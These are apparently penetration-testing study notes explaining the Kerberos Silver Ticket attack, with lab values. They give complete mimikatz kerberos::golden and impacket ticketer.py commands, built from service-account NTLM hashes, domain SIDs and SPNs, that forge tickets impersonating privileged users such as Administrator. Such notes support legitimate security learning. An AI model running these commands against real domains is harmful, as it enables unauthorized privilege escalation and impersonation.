Summery
Silver ticket attack allows you to forge a TGS ticket to that service as a target account.
For it to work, you need to have access to the service’s account - So like svc_mssql for MSSQL service on the host.
Then, you may as for a TGS of a highly privileged account, like Administrator.
Privileged Account Certificate (PAC) validation is an optional verification process between the SPN application and the domain controller. If this is enabled, the user authenticating to the service and its privileges are validated by the domain controller. Fortunately for this attack technique, service applications rarely perform PAC validation. This is exactly the vulnerability that the Silver Ticket attack takes advantage of..
Silver ticket attack is in fact a type of a Pass the ticket attack.
Exploitation
Method 1 - mimikatz
In general, we need to collect the following three pieces of information to create a silver ticket:
- SPN password hash (NTLM hash of the service account) -
4d28cf5252d39971419580a51484ca09. You can get it withmimikatzor Convert a password into an NTLM hash - Domain SID (omit the RID part) -
S-1-5-21-1987370270-658905905-1781884369. You can get it withwhoami /user - Target’s SPN -
web04.corp.com
We can create the forged service ticket with the mimikatz’s kerberos::golden module. We need to provide the domain SID (/sid:), domain name (/domain:), and the target where the SPN runs (/target:). We also need to include the SPN protocol (/service:), NTLM hash of the SPN (/rc4:), and the /ptt option, which allows us to inject the forged ticket into the memory of the machine we execute the command on. Lastly we must enter an existing domain user for /user:, we could use any other domain user.
The complete command would like something like this:
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
klist - View your active, in-memory ticket on Windows
Method 2 - impacket-ticketer
Used in: Breach
Full read: impacket-ticketer
Requirements:
- NTLM hash of the service account’s password -
69596c7aa1e8daee17f8e78870e25a5c- Convert a password into an NTLM hash - Service sccount’s SPN -
MSSQLSvc/breachdc.breach.vl:1433- Easly found with Bloodhound - Domain’s SID -
S-1-5-21-2330692793-3312915120-706255856 - Target’s SAM name -
Administrator
Usage:
ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator
You can then use Kerberos commands to attach the .ccache file into your session.